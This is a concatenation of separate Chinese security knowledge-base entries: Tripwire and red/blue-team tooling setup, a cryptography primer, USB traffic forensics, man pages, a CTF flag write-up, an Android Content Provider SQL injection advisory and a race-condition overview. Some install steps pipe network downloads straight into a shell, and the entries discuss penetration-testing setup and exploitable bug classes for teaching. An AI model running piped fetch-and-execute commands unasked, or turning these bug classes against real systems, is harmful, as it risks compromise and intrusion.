--update-policy --secure-mode low /opt/tripwire/etc/twpol.txt Please enter your local passphrase: # 输入“local keyfile”口令 Please enter your site passphrase: # 输入“site keyfile”口令 ``` **检查文件异动** 安装完 tripwire 后你可以定期检查文件是否存在异动。加上 interactive 在当前显示结果。 ``` /sbin/tripwire --check --interactive ``` **查看报告** 所有 tripwire 的报告以 `.twr` 后缀保存在 `lib/tripwire` 目录下,需要使用 twprint 命令来转化成文本格式。 ``` ./sbin/twprint --print-report --twrfile /lib/tripwire/report/localhost.localdomain-20111225-154220.twr>/tmp/tripwire_readable.txt ``` **软件包方式安装** 还有一种方法是软件包安装 ```bash yum -y install tripwire ``` `注 : 软件包安装的配置文件在 /etc/tripwire` 使用软件包安装需要手动生成密钥文件 ``` tripwire-setup-keyfiles ``` 该命令将生成两个密钥文件“site-key”和“local-key”, 使用下面的命令从 tripwire 生成日志错误。 ```bash sudo sh -c "tripwire --check | grep Filename > no-directory.txt" ``` 所有不存在系统上的目录和文件都列在文件'mo-directory.txt'中 ```bash cat no-directory.txt ``` 使用以下 bash 脚本编辑 tripwire 配置'twpol.txt' ```bash for f in $(grep "Filename:" no-directory.txt | cut -f2 -d:); do sed -i "s|\($f\) |#\\1|g" /etc/tripwire/twpol.txt done ``` 初始化 tripwire 数据库 ```bash twadmin -m P /etc/tripwire/twpol.txt # 使用 twadmin 命令重新生成并重新签署 tripwire配置 tripwire --init ``` 其余使用和编译安装无异,更多详情请参考 https://www.howtoing.com/monitoring-and-detecting-modified-files-using-tripwire-on-centos-7 --- ## 设施配置 ### f8x **描述** 大多数场景下,在不同的云购买一些 vps 服务器用于部署红 / 蓝队设施,不能做到开箱即用,使用 f8x 可以快速部署所需要的各类服务。同时兼顾到本地 VM 虚拟机的需求,可以选择走 socket 代理进行安装部署,Proxychains-ng 也会自动安装,只需做好 Proxychains-ng 配置即可。 **项目地址** - https://github.com/ffffffff0x/f8x **安装** ```bash wget -O f8x https://f8x.io/ && mv --force f8x /usr/local/bin/f8x && chmod +x /usr/local/bin/f8x f8x -h ``` **安装基础工具** ```bash f8x -b ``` **安装渗透环境** ```bash f8x -k ``` **安装python3.9** ```bash f8x -py39 ``` **安装 oraclejdk11** ``` f8x -oracle11 ``` **更多内容** - https://github.com/ffffffff0x/f8x/blob/main/README.zh-cn.md ### terraform **描述** Terraform 是一个 IT 基础架构自动化编排工具。具体的说就是可以用代码来管理维护 IT 资源,比如针对 AWS,我们可以用它创建,修改,删除 S3 Bucket, Lambda, EC2 实例,Kinesis, VPC 等各种资源。并且在真正运行之前可以看到执行计划(即干运行-dryrun)。由于状态保存到文件中,因此能够离线方式查看资源情况。 **项目地址** - https://github.com/hashicorp/terraform **安装** ```bash wget https://releases.hashicorp.com/terraform/1.2.1/terraform_1.2.1_linux_amd64.zip unzip terraform_1.2.1_linux_amd64.zip mv --force terraform /usr/local/bin/terraform > /dev/null 2>&1 && chmod +x /usr/local/bin/terraform terraform -h ``` **更多内容** - [terraform](./实验/terraform.md) --- ### pulumi **项目地址** - https://github.com/pulumi/pulumi **安装** ```bash curl -fsSL https://get.pulumi.com | sh -s -- --version 3.37.2 ``` --- ### aliyun-cli **下载** ``` https://aliyuncli.alicdn.com/aliyun-cli-linux-latest-amd64.tgz?file=aliyun-cli-linux-latest-amd64.tgz https://github.com/aliyun/aliyun-cli/releases ``` --- ## 各种依赖和报错 **libboost-program-options1.58.0** ```bash echo "deb http://cz.archive.ubuntu.com/ubuntu xenial main" >> /etc/apt/sources.list apt update && apt install -y libboost-program-options1.58.0 ``` **libsodium18** ```bash wget https://download.opensuse.org/repositories/home:/nsec/xUbuntu_16.04/amd64/libsodium18_1.0.11-1_amd64.deb dpkg -i libsodium18_1.0.11-1_amd64.deb ``` **ERROR: pkg-config binary 'pkg-config' not found** ```bash apt-get install -y pkg-config ``` **make: *** /lib/modules/3.10.0-1062.18.1.el7.x86_64/build: No such file or directory. Stop.** 没安装内核安装包 ```bash # Ubuntu apt install -y kernel-devel # Centos yum install -y kernel-devel # 找到对应内核开发文件 ls -l /usr/src/kernels/ cd /lib/modules/3.10.0-1062.18.1.el7.x86_64/ # 删除链接 rm -r build # 重新链接 ln -s /usr/src/kernels/3.10.0-1160.6.1.el7.x86_64/ build ``` **error while loading shared libraries: libnss3.so: cannot open shared object file: No such file or directory** ```bash apt install libnss3-dev ``` **error while loading shared libraries: libdrm.so.2: cannot open shared object file: No such file or directory** ```bash apt install libdrm-dev ``` **linux-/usr/lib64/libm.so.6: version `GLIBC_2.29' not found** 安装glibc-2.29 --- ### LuaJIT **描述** LuaJIT 是采用 C 语言写的 Lua 代码的解释器,LuaJIT 试图保留 Lua 的精髓--轻量级,高效和可扩展。 **官网地址** - https://luajit.org/ **安装** ```bash wget https://luajit.org/download/LuaJIT-2.0.5.tar.gz tar -zxf LuaJIT-2.0.5.tar.gz cd LuaJIT-2.0.5/ make && make install ```
sec-knowleage
### 密码学简介 密码学(Cryptography)一般可分为古典密码学和现代密码学。 其中,古典密码学,作为一种实用性艺术存在,其编码和破译通常依赖于设计者和敌手的创造力与技巧,并没有对密码学原件进行清晰的定义。古典密码学主要包含以下几个方面: - 单表替换加密(Monoalphabetic Cipher) - 多表替换加密(Polyalphabetic Cipher) - 奇奇怪怪的加密方式 而现代密码学则起源于 20 世纪中后期出现的大量相关理论,1949 年香农(C. E. Shannon)发表了题为《保密系统的通信理论》的经典论文标志着现代密码学的开始。现代密码学主要包含以下几个方面: - 对称加密(Symmetric Cryptography),以 DES,AES,RC4 为代表。 - 非对称加密(Asymmetric Cryptography),以 RSA,ElGamal,椭圆曲线加密为代表。 - 哈希函数(Hash Function),以 MD5,SHA-1,SHA-512 等为代表。 - 数字签名(Digital Signature),以 RSA 签名,ElGamal 签名,DSA 签名为代表。 其中,对称加密体制主要分为两种方式: - 分组密码(Block Cipher),又称为块密码。 - 序列密码(Stream Cipher),又称为流密码。 一般来说,密码设计者的根本目标是保障信息及信息系统的 - 机密性(Confidentiality) - 完整性(Integrity) - 可用性(Availability) - 认证性(Authentication) - 不可否认性(Non-repudiation) 其中,前三者被称为信息安全的 CIA 三要素 。 而对于密码破解者来说,一般是要想办法识别出密码算法,然后进行暴力破解,或者利用密码体制的漏洞进行破解。当然,也有可能通过构造虚假的哈希值或者数字签名来绕过相应的检测。 一般来说,我们都会假设攻击者已知待破解的密码体制,而攻击类型通常分为以下四种: | 攻击类型 | 说明 | | ------------ | ------------------------------------------ | | 唯密文攻击 | 只拥有密文 | | 已知明文攻击 | 拥有密文与对应的明文 | | 选择明文攻击 | 拥有加密权限,能够对明文加密后获得相应密文 | | 选择密文攻击 | 拥有解密权限,能够对密文解密后获得相应明文 | !!! note 注:之前在这里曾写过这些攻击常见的场景,随着不断地学习,渐渐意识到这些攻击类型侧重描述攻击者的能力,有可能适用于各种各样的场景。故进行修正。 这里推荐一些资料 - [可汗学院公开课](http://open.163.com/special/Khan/moderncryptography.html) - [深入浅出密码学——常用加密技术原理与应用](https://github.com/yuankeyang/python/blob/master/%E3%80%8A%E6%B7%B1%E5%85%A5%E6%B5%85%E5%87%BA%E5%AF%86%E7%A0%81%E5%AD%A6%E2%80%94%E2%80%94%E5%B8%B8%E7%94%A8%E5%8A%A0%E5%AF%86%E6%8A%80%E6%9C%AF%E5%8E%9F%E7%90%86%E4%B8%8E%E5%BA%94%E7%94%A8%E3%80%8B.pdf) - https://cryptopals.com/,一堆密码学的练习题目。
sec-knowleage
### USB相关简介 **USB详述**: [https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf](https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf) - 鼠标协议 鼠标移动时表现为连续性,与键盘击键的离散性不一样,不过实际上鼠标动作所产生的数据包也是离散的,毕竟计算机表现的连续性信息都是由大量离散信息构成的 每一个数据包的数据区有四个字节,第一个字节代表按键,当取0x00时,代表没有按键、为0x01时,代表按左键,为0x02时,代表当前按键为右键。第二个字节可以看成是一个signed byte类型,其最高位为符号位,当这个值为正时,代表鼠标水平右移多少像素,为负时,代表水平左移多少像素。第三个字节与第二字节类似,代表垂直上下移动的偏移。 得到这些点的信息后,即可恢复出鼠标移动轨迹 - Tools - [UsbMiceDataHacker](https://github.com/WangYihang/UsbMiceDataHacker) - 键盘协议 键盘数据包的数据长度为8个字节,击键信息集中在第3个字节 根据data值与具体键位的对应关系 可从数据包恢复出键盘的案件信息 - Tools - [UsbKeyboardDataHacker](https://github.com/WangYihang/UsbKeyboardDataHacker)
sec-knowleage
.TH XARGS 1 \" -*- nroff -*- .SH NAME xargs \- 从标准输入重建并执行命令行 .SH "总览 (SYNOPSIS)" .B xargs [\-0prtx] [\-e[eof-str]] [\-i[replace-str]] [\-l[max-lines]] [\-n max-args] [\-s max-chars] [\-P max-procs] [\-\-null] [\-\-eof[=eof-str]] [\-\-replace[=replace-str]] [\-\-max-lines[=max-lines]] [\-\-interactive] [\-\-max-chars=max-chars] [\-\-verbose] [\-\-exit] [\-\-max-procs=max-procs] [\-\-max-args=max-args] [\-\-no-run-if-empty] [\-\-version] [\-\-help] [command [initial-arguments]] .SH "描述 (DESCRIPTION)" 此 手册页 描述 GNU 版本 的 .BR xargs . .B xargs 从 标准 输入 读入 参数. 参数 用 空格(可以 用 双引号 单引号 或 反斜杠 转意) 或者 回车 隔开. 然后 一次 或者 多次 执行 命令 .I command (默认 是 /bin/echo), 其 参数 是 .I initial-arguments 后面 再 加上 从 标准 输入 读入 的 参数. 标准 输入中 的 空格 被 忽略. .P .B xargs 退出 可以有 如下 状态: .nf 0 如果 成功 123 如果 任何 一个 被 调用 的 命令 command 退出 状态 为 1-125 124 如果 命令 command 退出 状态 为 255 125 如果 命令 command 被 信号 终止 126 如果 不能 执行 命令 command 127 如果 命令 command 没有 找到 1 如果 发生 其它 错误 .fi .SS "选项 (OPTIONS)" .TP .I "\-\-null, \-0" 输入 的 文件名 以 null 字符 结尾, 而不是 空格, 引号 和 反斜杠 并不 特殊 处理 (所有 字符 都以 字面 意思 解释). 禁止 文件尾 字符串, 当 另一个 参数 处理. 当 参数 含有 空格, 引号, 反斜杠 时 很方便. GNU find 的 \-print0 选项 产生 适合 这种 模式 的 输出. .TP .I "\-\-eof[=eof-str], \-e[eof-str]" 把 文件尾 字符串 设置 成\fIeof-str\fR. 如果 文件尾 字符串 出现 在 输入中 的 某行, 余下的 行 将被 忽略. 如果 没有 \fIeof-str\fR , 就 没有 文件尾 字符串. 如果 没有 这个 选项, 文件尾 字符串 默认 是 "_". .TP .I "\-\-help" 显示 .B xargs 的 选项, 然后 退出. .TP .I "\-\-replace[=replace-str], \-i[replace-str]" 把 initial-arguments 里的 所有 \fIreplace-str\fR 替换为 从 标准 输入 里 读入 的 名称. 同时, 没有 用 引号 括起来 的 空格 不会 结束 参数. 如果 没有 \fIreplace-str\fR , 它 默认为 "{}" (同 `find \-exec' 一样). 此 选项 隐含有 \fI\-x\fP 和 \fI\-l 1\fP 选项. .TP .I "\-\-max-lines[=max-lines], -l[max-lines]" 每个 命令行 最多 可以 有 \fImax-lines\fR 行 非空格 输入; \fImax-lines\fR 默认 是 1. 后面 跟着 的 空格 会使 后面 一行 逻辑 上 是 一个 输入行 的 继续. 此 选项 隐含有 \fI\-x\fR 选项. .TP .I "\-\-max-args=max-args, \-n max-args" 每个 命令行 最多 可以 有 \fImax-args\fR 个 参数. 如果 大小 超出了 (见 \-s 选项) 那么 参数 个数 将 会用 比 \fImax-args\fR 小; 除非 用了 \-x 选项, 那么 \fBxargs\fR 将 退出. .TP .I "\-\-interactive, \-p" 提示 用户 是否 运行 每个 命令行, 然后 从 终端 读入 一行. 只有 当 此行 以 'y' 或 'Y' 开头 才会 运行 此 命令行. 此 选项 隐含有 \fI\-t\fR 选项. .TP .I "\-\-no-run-if-empty, \-r" 如果 标准 输入 不 包含 任何 非空格, 将 不运行 命令. 一般 情况下, 就算 没有 输入, 命令 也会 运行 一次. .TP .I "\-\-max-chars=max-chars, \-s max-chars" 每个 命令行 最多 可以 有 \fImax-chars\fR 个 字符, 包括 命令 和 初始 参数, 还 包括 参数 后面 结尾 的 null. 默认 是 尽可能的 大, 有 20k 个 字符. .TP .I "\-\-verbose, \-t" 在 执行 之前 在 标准 错误 输出 显示 命令行. .TP .I "\-\-version" 显示 .B xargs 的 版本号, 然后 退出. .TP .I "\-\-exit, \-x" 如果 大小 超出 (见 \fI\-s\fR 选项) 就 退出. .TP .I "\-\-max-procs=max-procs, \-P max-procs" 同时 最多 运行 \fImax-procs\fR 个 进程; 默认 是 1. 如果 \fImax-procs\fR 为 0, \fBxargs\fR 将 同时 运行 尽可能 多 的 进程. 最好 同时 用 \fI\-n\fR 选项; 不然 很 可能 只会 做 一次 exec. .SH "参见 (SEE ALSO)" \fBfind\fP(1L), \fBlocate\fP(1L), \fBlocatedb\fP(5L), \fBupdatedb\fP(1) \fBFinding Files\fP (在线 Info, 或者 打印的) .SH "[中文版维护人]" .B 唐友 \<tony_ty@263.net\> .SH "[中文版最新更新]" .BR 2001/10/31 .SH "[中国Linux论坛man手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
## What's example flag? (triv, 1p) ### PL [ENG](#eng-version) Przykładowa flaga znajduje się tutaj http://asis-ctf.ir/rules/ : ASIS{476f20676f6f2e676c2f67776a625466} Ale nie o nią chodzi. Hexy przypominające hash MD5 są tak naprawdę tekstem zakodowanym w ASCII. bytes.fromhex('476f20676f6f2e676c2f67776a625466').decode('ascii') rozwiązuje się do: Go goo.gl/gwjbTf pod tym linkiem znajduje się prawdziwa flaga: hi all, the flag is: ASIS{c0966ad97f120b58299cf2a727f9ca59} ### ENG version There is an example flag in http://asis-ctf.ir/rules/ : ASIS{476f20676f6f2e676c2f67776a625466} However, that's not the flag we are looking for. This supposed MD5 hash is actually hex encoded ASCII. bytes.fromhex('476f20676f6f2e676c2f67776a625466').decode('ascii') evaluates to: Go goo.gl/gwjbTf where we can find the real flag: hi all, the flag is: ASIS{c0966ad97f120b58299cf2a727f9ca59}
sec-knowleage
## Content Provider SQL注入漏洞 > 阿里聚安全发布于 2016-06-02 ### 漏洞描述 当Content Provider的数据源是SQLite数据库时,如果实现不当,而Provider又是暴露的话,则可能会引发本地SQL注入漏洞。 ### 影响范围 几乎 Android 所有系统 ### 漏洞详情 #### 漏洞位置 ```smali Landroid/content/ContentProvider;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor; ``` #### 漏洞触发条件 1. 定位ContentProvider组件对应的子类. (对应到smali语句中的特征) ```smali .super Landroid/content/ContentProvider; ``` 2. 判断Provider是否对外暴露(exported属性为true) 3. 判断子类中是否调用query方法 ```smali ->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor; ``` 4. 找到projection,selection参数对应的寄存器名称 v1 5. 判断寄存器V1的赋值来源是否为拼接字符串 #### 漏洞原理 当Content Provider的数据源是SQLite数据库时,如果实现不当,而Provider又是暴露的话,则可能会引发本地SQL注入漏洞。 Content Provider的query()的方法定义为: ![图片描述](png/content_provider_p_31.png) 其中参数: ```markdown uri:为content Uri,要查询的数据库 projection:为要查询的列名 selection和selectionArgs:要指定查询条件 sortOrder:查询结果如何排序 query() 与 SQL 查询对比如下: ``` ![图片描述](png/content_provider_p_32.png) 如果query()中使用的是拼接字符串组成SQL语句的形式去查询底层的SQLite数据库时,容易发生SQL注入。 ### poc/exp #### 例子1 乌云公开漏洞wooyun-2016-0175294: 客户端的com.sohu.sohuvideo.provider.PlayHistoryProvider的exported属性为“true”: ![图片描述](png/content_provider_p_33.png) 反编译客户端,追踪PlayHistoryProvider的实现,发现是用拼接字符串形式构造原始的SQL查询语句: ![图片描述](png/content_provider_p_34.png) 使用drozer工具,证明漏洞: ![图片描述](png/content_provider_p_35.png) ### 漏洞修复建议 1. 不必要导出的Provider组件,建议显示设置组件的“android:exported”属性为false 2. 使用selectionArgs进行参数化查询
sec-knowleage
'\" '\" Copyright (c) 1990-1992 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: update.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: update.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH update 3tcl 7.5 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME update \- 处理等待的事件和空闲回调 .SH "总览 SYNOPSIS" \fBupdate\fR ?\fBidletasks\fR? .BE .SH "描述 DESCRIPTION" .PP 这个命令重复的进入事件循环直到处理了所有的等待事件(包括空闲回调),以此使应用成为“最近更新的”。 .PP 如果指定 \fBidletasks\fR 关键字为给这个命令的一个参数,则不处理新事件或错误;只调用空闲回调。这导致通常被推延的操作,比如显示器更新和窗口格局计算,被立即进行。 .PP \fBupdate idletasks\fR 命令在一些脚本中有用,在其中对应用的状态做了变更并且你想要这些变化立即出现在显示器上,而不是等待脚本完成。多数显示器更新被作为空闲回调来进行,所以 \fBupdate idletasks\fR 将导致他们运行。但是,有些种类的更新只发生在对事件的响应当中,比如窗口大小变更所触发的事件;在 \fBupdate idletasks\fR 中将不发生这些更新。 .PP 没有选项的\fB update\fR 命令在一些脚本中有用,在其中你想运行一个长时间的运算而仍想让应用响应事件比如用户交互;如果你偶尔的调用 \fBupdate\fR,则在下次调用 \fBupdate \fR期间将处理用户输入。 .SH "参见 SEE ALSO" after(n), bgerror(n) .SH "关键字 KEYWORDS" event, flush, handler, idle, update .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/11/20 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
### Race Condition概述 条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现 bug。这个术语最初来自于两个电信号互相竞争来影响输出结果。 条件竞争主要出现在如下领域 - 电子系统,尤其是逻辑电路 - 计算机,尤其是多线程程序和分布式程序。 由于目前的系统中大量采用并发编程,经常对资源进行共享,往往会产生条件竞争漏洞。 这里我们主要考虑计算机程序方面的条件竞争。当一个软件的运行结果依赖于进程或者线程的顺序时,就可能会出现条件竞争。简单考虑一下,可以知道条件竞争需要如下的**条件**: - 并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。 - 共享对象,即多个并发流会访问同一对象。**常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。**此外,我们称访问共享对象的代码为**临界区**。在正常写代码时,这部分应该加锁。 - 改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。 由于在并发时,执行流的不确定性很大,条件竞争相对**难察觉**,并且在**复现和调试方面会比较困难**。这给修复条件竞争也带来了不小的困难。 条件竞争造成的影响也是多样的,轻则程序异常执行,重则程序崩溃。如果条件竞争漏洞被攻击者利用的话,很有可能会使得攻击者获得相应系统的特权。 这里举一个简单的例子。 ```c #include <pthread.h> #include <stdio.h> int counter; void *IncreaseCounter(void *args) { counter += 1; sleep(0.1); printf("Thread %d has counter value %d\n", (unsigned int)pthread_self(), counter); } int main() { pthread_t p[10]; for (int i = 0; i < 10; ++i) { pthread_create(&p[i], NULL, IncreaseCounter, NULL); } for (int i = 0; i < 10; ++i) { pthread_join(p[i], NULL); } return 0; } ``` 一般来说,我们可能希望按如下方式输出 ```shell ➜ 005race_condition ./example1 Thread 1859024640 has counter value 1 Thread 1841583872 has counter value 2 Thread 1832863488 has counter value 3 Thread 1824143104 has counter value 4 Thread 1744828160 has counter value 5 Thread 1736107776 has counter value 6 Thread 1727387392 has counter value 7 Thread 1850304256 has counter value 8 Thread 1709946624 has counter value 9 Thread 1718667008 has counter value 10 ``` 但是,由于条件竞争的存在,最后输出的结果往往不尽人意 ```c ➜ 005race_condition ./example1 Thread 1417475840 has counter value 2 Thread 1408755456 has counter value 2 Thread 1391314688 has counter value 8 Thread 1356433152 has counter value 8 Thread 1365153536 has counter value 8 Thread 1373873920 has counter value 8 Thread 1382594304 has counter value 8 Thread 1400035072 has counter value 8 Thread 1275066112 has counter value 9 Thread 1266345728 has counter value 10 ``` 仔细思考一下条件竞争为什么可能会发生呢?以下面的为具体的例子 - 程序首先执行了action1,然后执行了action2。其中 action 可能是应用级别的,也可能是操作系统级别的。正常来说,我们希望程序在执行 action2 时,action1 所产生的条件仍然是满足的。 - 但是由于程序的并发性,攻击者很有可能可以在 action2 执行之前的这个短暂的时间窗口中破坏 action1 所产生的条件。这时候攻击者的操作与 action2 产生了条件竞争,所以可能会影响程序的执行效果。 所以我认为问题的根源在于程序员虽然假设某个条件在相应时间段应该是满足的,但是往往条件可能会在这个很小的时间窗口中被修改。**虽然这个时间的间隔可能非常小,但是攻击者仍然可能可以通过执行某些操作(如计算密集型操作,Dos攻击)使得受害机器的处理速度变得相对慢一些。** ### Race Condition的CWE-367: TOCTOU 竞争形式 #### 描述 TOCTOC (Time-of-check Time-of-use) 指的是程序在使用资源(变量,内存,文件)前会对进行检查,但是在程序使用对应的资源前,该资源却被修改了。 下面给出一些更加具体的例子。 #### CWE-365: Race Condition in Switch 当程序正在执行 switch 语句时,如果 switch 变量的值被改变,那么就可能造成不可预知的行为。尤其在case 语句后不写 break 语句的代码,一旦 switch 变量发生改变,很有可能会改变程序原有的逻辑。 #### CWE-363: Race Condition Enabling Link Following 我们知道 Linux 中提供了两种对于文件的命名方式 - 文件路径名 - 文件描述符 但是,将这两种命名解析到相应对象上的方式有所不同 - 文件路径名在解析的时候是通过传入的路径(文件名,硬链接,软连接)**间接解析**的,其传入的参数并不是相应文件的真实地址(inode)。 - 文件描述符通过访问直接指向文件的指针来解析。 正是由于间接性,产生了上面我们所说的时间窗口。 以下面的代码为例子,程序在访问某个文件之前,会检查是否存在,之后会打开文件然后执行操作。但是如果在检查之后,真正使用文件之前,攻击者将文件修改为某个符号链接,那么程序将访问错误的文件。 这种条件竞争出现的问题的根源在于文件系统中的名字对象绑定的问题。而下面的函数都会使用文件名作为参数:access(), open(), creat(), mkdir(), unlink(), rmdir(), chown(), symlink(), link(), rename(), chroot(),… 那该如何避免这个问题呢?我们可以使用 fstat 函数来读取文件的信息并把它存入到stat结构体中,然后我们可以将该信息与我们已知的信息进行比较来判断我们是否读入了正确的信息。其中,stat结构体中的 `st_ino` 和 `st_dev` 变量可以唯一表示文件 - `st_ino` ,包含了文件的序列号,即 `i-node` - `st_dev` ,包含了文件对应的设备。 ### Race Condition的CWE-364: Signal Handler 竞争形式 #### 概述 条件竞争经常会发生在信号处理程序中,这是因为信号处理程序支持异步操作。尤其是当信号处理程序是**不可重入**的或者状态敏感的时候,攻击者可能通过利用信号处理程序中的条件竞争,可能可以达到拒绝服务攻击和代码执行的效果。比如说,如果在信号处理程序中执行了free操作,此时又来了一个信号,然后信号处理程序就会再次执行free操作,这时候就会出现 double free 的情况,再稍微操作一下,就可能可以达到任意地址写的效果了。 一般来说,与信号处理程序有关的常见的条件竞争情况有 - 信号处理程序和普通的代码段共享全局变量和数据段。 - 在不同的信号处理程序中共享状态。 - 信号处理程序本身使用不可重入的函数,比如 malloc 和 free 。 - 一个信号处理函数处理多个信号,这可能会进而导致use after free 和 double free 漏洞。 - 使用 setjmp 或者 longjmp 等机制来使得信号处理程序不能够返回原来的程序执行流。 #### 线程安全与可重入 这里说明一下线程安全与可重入的关系。 - 线程安全 - 即该函数可以被多个线程调用,而不会出现任何问题。 - 条件 - 本身没有任何共享资源 - 有共享资源,需要加锁。 - 可重用 - 一个函数可以被多个实例可以同时运行在相同的地址空间中。 - 可重入函数可以被中断,并且其它代码在进入该函数时,不会丢失数据的完整性。所以可重入函数一定是线程安全的。 - 可重入强调的是单个线程执行时,重新进入同一个子程序仍然是安全的。 - 不满足条件 - 函数体内使用了静态数据结构,并且不是常量 - 函数体内使用了malloc 或者 free 函数 - 函数使用了标准 IO 函数。 - 调用的函数不是可重入的。 - 